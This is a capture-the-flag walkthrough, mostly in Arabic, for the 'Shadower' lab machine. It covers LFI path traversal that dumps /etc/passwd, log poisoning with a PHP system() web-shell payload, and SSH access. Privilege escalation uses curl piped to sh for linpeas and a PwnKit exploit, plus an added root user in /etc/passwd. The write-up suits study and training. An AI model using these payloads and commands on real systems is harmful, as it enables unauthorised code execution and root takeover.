Shadower Machine From Cyber Talents
7/29/2025

7/29/2025

Platform: Cyber Talents
Category: Web Exploitation + Linux Privilege Escalation
Difficulty: Medium
Goal: Get a shell on the server → escalate to root → capture the flag

nmap -sC -sV -Pn 54.67.92.245nmap: الأداة المستخدمة لفحص الشبكة واكتشاف الخدمات والمنافذ.-sC: تستخدم السكربتات الافتراضية من Nmap (equivalent to --script=default)هذه السكربتات تفيد في جمع معلومات إضافية عن الخدمات مثل إصدارات البرامج، الثغرات البسيطة، وغيرها.
-sV: تقوم بتحديد إصدار كل خدمة تعمل على المنافذ المفتوحة.مثال: إذا كان فيه خادم Apache على البورت 80، سيُظهر إصدار Apache.
-Pn: تجاهل عملية الـ Ping قبل الفحص.تُستخدم هذه الخيار عند حظر ICMP Echo Requests (يعني الهدف ما بيردش على ping)، فنفحص مباشرة بدون التأكد من أنه حيّ.
54.67.92.245: هو عنوان الـ IP الهدف الخاص بالتحدي.
نلاحظ إن التلاتة دول حالتهم "filtered"، وده معناه إن السيرفر بيرفض يرد عليهم أو فيه جدار ناري (firewall) مانع الوصول.
افتح المتصفح وروح على الرابط ده:http://54.67.92.245شوف شكل الصفحة، ولو لقيت صفحة Default بتاعت Apache، نبدأ نفحصها بأدوات زي:
whatwebniktogobuster أو ffuf علشان نكتشف المسارات (Directory Bruteforce)GoBuster :upload.php, debug.txt, config.html, إلخ.gobuster dir -u http://54.67.92.245 -w /usr/share/wordlists/dirb/common.txt -x php,txt,html -t 40 gobuster dir:-u http://54.67.92.245:-w /usr/share/wordlists/dirb/common.txt:-x php,txt,html:admin.php, login.html, config.txt).-t 40:

الصفحة الافتراضية الخاصة ب apache

مفيش حاجة مفيدة

فاضية بس هنبص ع ال source code

بس لسة مش عارفين ده ل أي بالظبط ف هنخليه ف ملف الملاحظات بتاعنا

مفيش حاجة مفيدة حتي لما زورت الصفحات اللي ليها لينكات دي ف قولت يمكن الصورة فيها حاجة مستخبية او معلومات او ملفات ف حملت الصورة وجربت عليها كذا اداة
security.png:binwalk للبحث عن ملفات مخفية داخل الصورة:binwalk security.pngلو فيه ملفات مخفية (ZIP، نصوص، ملفات PNG ثانية)، هيظهرلك offsets تقدر تستخرجها بـ:
binwalk -e security.pngzsteg (لتحليل steganography على PNG):zsteg security.pngبيكشف عن رسائل مخفية بالـ LSB في الصور PNG.
exiftool security.pngأحيانًا بيكون فيه Notes أو Comment مخفية.
strings:strings security.png | lessابحث عن كلمات شبه:flag,cve,password,secret,maxsecure,audit, إلخ...
binwalk security.png 0x00000120 - PNG image 0x0000A040 - Zip archive data, at offset 0xA040وقتها تعمل:
dd if=security.png bs=1 skip=41024 of=hidden.zip unzip hidden.zip
LFI = Local File Inclusion = تضمين ملفات محلية
ثغرة LFI بتحصل لما الموقع يسمحلك تحدد اسم ملف موجود على السيرفر، ويقوم السيرفر بقراءته أو تنفيذه بدون تحقق كافي.
لو عندك لينك زي ده:
http://example.com/index.php?page=homeالـ page=home معناها إن الموقع بيعمل كده في الكود:
include($_GET['page'] . ".php");لو أنت غيرت الرابط كده:
http://example.com/index.php?page=../../../../etc/passwdالسيرفر هيحاول يقرأ الملف ده:
../../../../etc/passwd.phpلكن لو .php مش متضافة تلقائي، أو الكود بيستخدم include($page) مباشر بدون إضافات، فهتقدر توصل لأي ملف في النظام!
ف تع نبص
curl 'http://54.241.254.27/index.php?view=about-us.html'الناتج
<html>
<head>
<link href="https://fonts.googleapis.com/css?family=IBM+Plex+Sans" rel="stylesheet">
<link rel="stylesheet" type="text/css" href="style.css">
</head>
<body>
<div class="menu">
<a href="index.php">Main Page</a>
<a href="index.php?view=about-us.html">About Us</a>
<a href="index.php?view=contact-us.html">Contact</a>
</div>
<p></p> </body>
</html>
تع نجرب LFI
curl 'http://54.241.254.27/index.php?view=../../../../etc/passwd'الناتج
<html>
<head>
<link href="https://fonts.googleapis.com/css?family=IBM+Plex+Sans" rel="stylesheet">
<link rel="stylesheet" type="text/css" href="style.css">
</head>
<body>
<div class="menu">
<a href="index.php">Main Page</a>
<a href="index.php?view=about-us.html">About Us</a>
<a href="index.php?view=contact-us.html">Contact</a>
</div>
<p>
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-network:x:100:102:systemd Network Management,,,:/run/systemd/netif:/usr/sbin/nologin
systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd/resolve:/usr/sbin/nologin
syslog:x:102:106::/home/syslog:/usr/sbin/nologin
messagebus:x:103:107::/nonexistent:/usr/sbin/nologin
_apt:x:104:65534::/nonexistent:/usr/sbin/nologin
lxd:x:105:65534::/var/lib/lxd/:/bin/false
uuidd:x:106:110::/run/uuidd:/usr/sbin/nologin
dnsmasq:x:107:65534:dnsmasq,,,:/var/lib/misc:/usr/sbin/nologin
landscape:x:108:112::/var/lib/landscape:/usr/sbin/nologin
sshd:x:109:65534::/run/sshd:/usr/sbin/nologin
pollinate:x:110:1::/var/cache/pollinate:/bin/false
ubuntu:x:1000:1000:Ubuntu:/home/ubuntu:/bin/bash
john:x:1001:1001:,,,:/home/john:/bin/bash
zerotier-one:x:999:999::/var/lib/zerotier-one:/bin/sh
</p> </body>
</html>المقالة دي حلوة برضة هنا
مثلاً تبعت request فيه الكود في الـ User-Agent:
curl -A "<?php system(\$_GET['cmd']); ?>" http://54.67.92.245كده كود الـ PHP هيتسجل جوه ملف:
/var/log/apache2/access.logافترض إن LFI موجودة في:
http://54.67.92.245/index.php?view=جرب:
http://54.67.92.245/index.php?view=/var/log/apache2/access.log&cmd=idلو السيرفر فعلاً عامل include للملف، الكود هيتنفذ وهيرجعلك نتيجة id.
هتشوف رد زي:
uid=33(www-data) gid=33(www-data) groups=33(www-data)ده معناه إنك قدرت تنفذ أوامر على السيرفر بنجاح!
john<!-- my0wns3cr3t.sec --> من صفحة /contact-us.html
== كدا عرفت انه base64cat ./hashed.txt | base64 -dcat ./hashed.txt | base64 -d | base64 -d | base64 -d | ......etc
ssh john@54.241.254.27وبكدا عملنا هاك ع الماشين
john@ip-172-31-20-131:~$ whoami
johnعلي جهاز الضحية :
curl -L https://github.com/peass-ng/PEASS-ng/releases/latest/download/linpeas.sh | sh
لو ملف /etc/passwd قابل للكتابة لأي مستخدم (-rw-rw-rw- أو -rw-r--r-- أو فيه w لأي حد غير root)، تقدر تضيف مستخدم جديد أو تعدّل على باسوورد مستخدم موجود (زي root) من غير ما تحتاج إذن.
ملف /etc/passwd بيحتوي على بيانات المستخدمين، والصيغة بتاعته كده:
username:x:UID:GID:comment:home:shellx حطيت هاش كلمة السر مباشرة (بدل ما تكون موجودة في /etc/shadow) — النظام هيقرأها من هنا./etc/passwdopenssl passwd -1 -salt razook password123هيطلعلك حاجة زي:
$1$razook$z2VXKkbIa0WSisPVEHxVq1افتح /etc/passwd بأي محرر (لو عندك صلاحية الكتابة):
nano /etc/passwdضيف السطر ده:
hacker:$1$razook$z2VXKkbIa0WSisPVEHxVq1:0:0:hacked:/root:/bin/bashده معناه:
hacker: اسم المستخدم:0:0: = UID:GID = root privileges/bin/bashsu hacker # هيدخلك root لو كتبت الباسورد: password123
sh -c "$(curl -fsSL https://raw.githubusercontent.com/ly4k/PwnKit/main/PwnKit.sh)"